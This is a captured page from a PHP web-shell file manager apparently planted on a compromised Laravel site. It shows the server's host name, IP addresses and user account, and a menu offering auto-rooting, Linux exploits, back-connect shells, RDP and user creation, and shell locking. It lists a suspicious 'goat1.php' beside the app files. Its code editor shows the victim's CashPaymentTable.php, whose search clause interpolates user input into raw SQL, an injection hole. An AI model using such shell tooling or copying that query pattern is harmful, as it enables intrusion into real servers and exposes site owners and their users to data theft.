Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.138
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo2.com /
app /
Livewire /
[ HOME SHELL ]
Name
Size
Permission
Action
.htaccess
127
B
-r--r--r--
AdminTable.php
2.85
KB
-rw-r--r--
BrandTable.php
1.53
KB
-rw-r--r--
CashPaymentTable.php
5.73
KB
-rw-r--r--
CurrenciesTable.php
1.99
KB
-rw-r--r--
CustomCalendars.php
2.61
KB
-rw-r--r--
Dashboard.php
674
B
-rw-r--r--
EnquiryTable.php
2.9
KB
-rw-r--r--
EventScheduleTable.php
3.14
KB
-rw-r--r--
EventScheduledEventTable.php
2.43
KB
-rw-r--r--
Events.php
3.7
KB
-rw-r--r--
FaqTable.php
1.58
KB
-rw-r--r--
FrontTestimonialTable.php
1.86
KB
-rw-r--r--
LivewireTableComponent.php
1.85
KB
-rw-r--r--
PersonalExperienceTable.php
1.49
KB
-rw-r--r--
ScheduleTransactionTable.php
2.92
KB
-rw-r--r--
Schedules.php
2.84
KB
-rw-r--r--
SearchableComponent.php
2.7
KB
-rw-r--r--
SubscribersTable.php
1.28
KB
-rw-r--r--
SubscriptionPlanTable.php
4.01
KB
-rw-r--r--
SubscriptionTransactionTable.p...
3.3
KB
-rw-r--r--
UserDashboard.php
1.32
KB
-rw-r--r--
UserEvent.php
1.14
KB
-rw-r--r--
UserTable.php
3.26
KB
-rw-r--r--
goat1.php
143.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CashPaymentTable.php
<?php namespace App\Livewire; use App\Models\Subscription; use App\Models\UserTransaction; use Illuminate\Database\Eloquent\Builder; use Rappasoft\LaravelLivewireTables\Views\Column; class CashPaymentTable extends LivewireTableComponent { protected $model = UserTransaction::class; protected $listeners = ['resetPageTable', 'refresh' => '$refresh', 'changeStatus', 'getNoteData']; public function configure(): void { $this->setPrimaryKey('id')->setQueryStringStatus(false); $this->setDefaultSort('created_at', 'desc'); $this->setThAttributes(function (Column $column) { if ($column->isField('price')) { return [ 'class' => 'text-end', ]; } if ($column->isField('amount')) { return [ 'class' => 'd-flex justify-content-end', ]; } if ($column->isField('subscription_status')){ return [ 'style' => 'min-width:240px !important', ]; } return []; }); $this->setTdAttributes(function (Column $column, $row, $columnIndex, $rowIndex) { if ($column->isField('subscription_status')){ return [ 'style' => 'min-width:240px !important', ]; } return []; }); } public function placeholder() { return view('livewire.search-listing-skeleton'); } public function columns(): array { return [ Column::make(__('messages.users'), 'user.first_name') ->searchable(function (Builder $query, $direction) { $query->whereRaw("TRIM(CONCAT(first_name,' ',last_name,' ')) like '%{$direction}%'"); }) ->sortable() ->view('cash_payments.components.user_name'), Column::make(__('messages.users'), 'user.last_name') ->searchable() ->sortable() ->view('cash_payments.components.user_name')->hideIf(1), Column::make(__('messages.common.status'), 'subscription_status') ->sortable() ->view('cash_payments.components.subscription_status'), Column::make(__('messages.subscription_plan.plan_name'), 'transactionSubscription.SubscriptionPlan.name') ->searchable() ->sortable() ->view('cash_payments.components.plan_name'), Column::make(__('messages.cash_payment.plan_price'), 'transactionSubscription.SubscriptionPlan.price') ->searchable() ->sortable() ->view('cash_payments.components.plan_price'), Column::make(__('messages.cash_payment.payable_amount'), 'amount') ->sortable() ->searchable() ->view('cash_payments.components.payable_amount'), Column::make(__('messages.cash_payment.start_date'), 'transactionSubscription.starts_at') ->sortable() ->searchable() ->view('cash_payments.components.start_date'), Column::make(__('messages.cash_payment.end_date'), 'transactionSubscription.ends_at') ->sortable() ->searchable() ->view('cash_payments.components.end_date'), Column::make(__('messages.cash_payment.attachment'), 'id') ->view('cash_payments.components.attachment'), Column::make(__('messages.cash_payment.note'), 'note') ->sortable() ->searchable() ->view('cash_payments.components.note'), Column::make('created_at')->sortable()->hideIf(true), ]; } public function builder(): Builder { return UserTransaction::with(['media', 'user', 'transactionSubscription.SubscriptionPlan']) ->wherePaymentType(UserTransaction::MANUALLY) ->select('user_transactions.*'); } public function changeStatus($id, $status) { $userTransaction = UserTransaction::with('transactionSubscription')->find($id); if ($status == UserTransaction::APPROVED) { $userTransaction->update(['subscription_status' => $status]); $subscription = $userTransaction->transactionSubscription; Subscription::find($subscription->id)->update(['status' => Subscription::ACTIVE]); Subscription::whereUserId($subscription->user_id) ->where('id', '!=', $subscription->id) ->update([ 'status' => Subscription::INACTIVE, ]); $subscription->update([ 'status', Subscription::ACTIVE, 'transaction_id' => $userTransaction->id, ]); } if ($status == UserTransaction::REJECTED) { $userTransaction->update(['subscription_status' => $status]); $subscription = $userTransaction->transactionSubscription; // $subscription->update(['status' => Subscription::INACTIVE]); // Subscription::whereUserId($subscription->user_id) // ->where('id', '!=', $subscription->id) // ->update([ // 'status' => Subscription::ACTIVE, // ]); } $this->setBuilder($this->builder()); $this->dispatch('changeStatusEvent'); } public function getNoteData($userTransactionId) { $userTransaction = UserTransaction::find($userTransactionId); $note = $userTransaction->note; $this->dispatch('retrieveNoteData', $note); } }
Close